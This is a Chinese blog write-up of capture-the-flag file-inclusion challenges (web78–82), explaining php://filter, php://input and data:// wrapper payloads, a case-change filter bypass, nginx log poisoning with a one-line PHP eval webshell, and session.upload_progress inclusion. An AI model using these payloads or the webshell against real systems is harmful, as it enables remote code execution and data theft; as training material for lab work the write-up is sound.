当前位置: 首页 > news >正文

CTF web入门之文件包含

web78:
在这里插入图片描述
include函数执行file引入的文件,如果执行不成功,就高亮显示当前页面的源码。

方法一:filter伪协议
file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。

filter伪协议构造payload

base64编码
?file=php://filter/read=convert.base64-encode/resource=flag.php

utf8编码
?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php 

在这里插入图片描述
得到base编码后的flag解密得到flag在这里插入图片描述
方法二:input协议
php://input 是 PHP 提供的一个伪协议,允许开发者 访问 POST 请求的原始内容。对于 POST 请求数据,PHP 提供了 $_POST 与 $FILES 超全局变量,在客户端发起 POST 请求时,PHP 将自动处理 POST 提交的数据并将处理结果存放至 $_POST 与 $FILES 中
在这里插入图片描述
方法三:data协议
data也是利用文件包含漏洞,将输入的代码当作php文件执行。

data协议格式:
data://[<MIME-type>][;charset=<encoding>][;base64],<data>

构造payload:
?file=data://text/plain,<?php system('tac f*');?>

在这里插入图片描述
web79:同上,多了个替换php 变成大小写就可以

?file=data://text/plain,<?Php system('tac f*');?>

在这里插入图片描述
在这里插入图片描述
web80:
在这里插入图片描述
在了解过后,发现这道题还可以通过日志包含getshell的方法来做。

日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。

首先要判断网站使用的什么服务:
对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log
在这里插入图片描述
在这里插入图片描述
使用brop抓包 在User-Agent 插入一句话木马

<?php @eval($_REQUEST['cmd']);?>

@ 符号:在 PHP 里,@ 是错误抑制符。它的作用是在执行相应表达式时,抑制可能出现的错误信息输出。也就是说,即使代码执行过程中产生了错误,也不会在页面上显示错误提示。

eval() 函数:这是 PHP 中的一个内置函数,其功能是把传入的字符串当作 PHP 代码来执行。例如,若传入的字符串是 echo 'Hello, World!';eval() 函数就会执行这条语句并输出 Hello, World!$_REQUEST 超全局变量:$_REQUESTPHP 中的一个超全局变量,它会收集通过 GETPOSTCOOKIE 方式提交的数据。这里使用 $_REQUEST['cmd'] 意味着可以通过上述任意一种方式传递一个名为 cmd 的参数

在这里插入图片描述
post传参,首先查看列表 .上一步构造恶意的 cmd 参数,执行任意的 PHP 代码

cmd=system('ls');

在这里插入图片描述
可以看到目录下面有flag,直接cat查看

cmd=system('tac f*');

在这里插入图片描述
web81:同上 还是用brop 上传木马 执行命令
在这里插入图片描述

在这里插入图片描述
web82:对于搞不懂的东西,先放一下 后面在弄
这次过滤了点,⽇志包含有.log,⽤不了上面那个。
在这里插入图片描述

知识点: 在php5.4之后php.ini开始有⼏个默认选项

1.session.upload_progress.enabled = on

2.session.upload_progress.cleanup = on

3.session.upload_progress.prefix = “upload_progress_”

4.session.upload_progress.name =PHP_SESSION_UPLOAD_PROGRESS5.session.use_strict_mode=off

第⼀个表示当浏览器向服务器上传⼀个⽂件时,php将会把此次⽂件上传的详细信息(如上传时间、上传进度等)存储在session当中

第⼆个表示当⽂件上传结束后,php将会⽴即清空对应session⽂件中的内容

第三和第四个prefix+name将表示为session中的键名

第五个表示我们对Cookie中sessionID可控

"简⽽⾔之,我们可以利⽤session.upload_progress将⽊⻢写⼊session⽂件,然后包含这个session⽂件。不过前提是我们需要创建⼀个session⽂件,并且知道session⽂件的存放位置。因为session.use_strict_mode=off的关系,我们可以⾃定义sessionID

linux系统中session⽂件⼀般的默认存储位置为 /tmp 或 /var/lib/php/session 例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建⽂件:/tmp/sess_flag,即使此时⽤户没有初始化session,php也会⾃动初始化Session。 并产⽣⼀个键值,为prefix+name的值,最后被写⼊sess_⽂件⾥ 还有⼀个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利⽤条件竞争来pass,写⼀个脚本来完成

 

enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要; name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;

可参考:https://www.cnblogs.com/justdoIT20680/p/18771953

相关文章:

  • SAP BDC:企业数据管理的新纪元
  • flink部署使用(flink-connector-jdbc)连接达梦数据库并写入读取数据
  • NO.85十六届蓝桥杯备战|动态规划-经典线性DP|最长上升子序列|合唱队形|最长公共子序列|编辑距离(C++)
  • FreeRTOS入门与工程实践-基于STM32F103(一)(单片机程序设计模式,FreeRTOS源码概述,内存管理,任务管理,同步互斥与通信,队列,信号量)
  • BGP分解实验·23——BGP选路原则之路由器标识
  • 最新版IDEA超详细图文安装教程(适用Mac系统)附安装包及补丁2025最新教程
  • 首批 | 云轴科技ZStack通过电子标准院云上部署DeepSeek验证测试
  • Tkinter高级布局与窗口管理
  • Node.js中util模块详解
  • 【golang/jsonrpc】go-ethereum中json rpc初步使用(websocket版本)
  • vue3使用keep-alive缓存组件与踩坑日记
  • [实战] 二分查找与哈希表查找:原理、对比与C语言实现(附完整C代码)
  • PostgreSQL 实例运行状态全面检查
  • 考研数据结构精讲:数组与特殊矩阵的压缩存储技巧(包含真题及解析)
  • 大数据面试问答-Hadoop/Hive/HDFS/Yarn
  • 基于SpringBoot汽车零件商城系统设计和实现(源码+文档+部署讲解)
  • vue3+nodeJs+webSocket实现聊天功能
  • stack overflow国内无法访问原因
  • 中文编码,GB系列,UTF
  • 正则表达式使用知识(日常翻阅)
  • 巴称巴控克什米尔地区11人在印方夜间炮击中身亡
  • 报告:4月份新增发行的1763亿元专项债中,投向房地产相关领域约717亿元
  • 外卖员投资失败负疚离家流浪,经民警劝回后泣不成声给父母下跪
  • 泉州一家婚介机构广告牌越南新娘七天闪婚领证?市监部门介入
  • 上海一中院一审公开开庭审理被告人胡欣受贿案
  • 习近平在俄罗斯媒体发表署名文章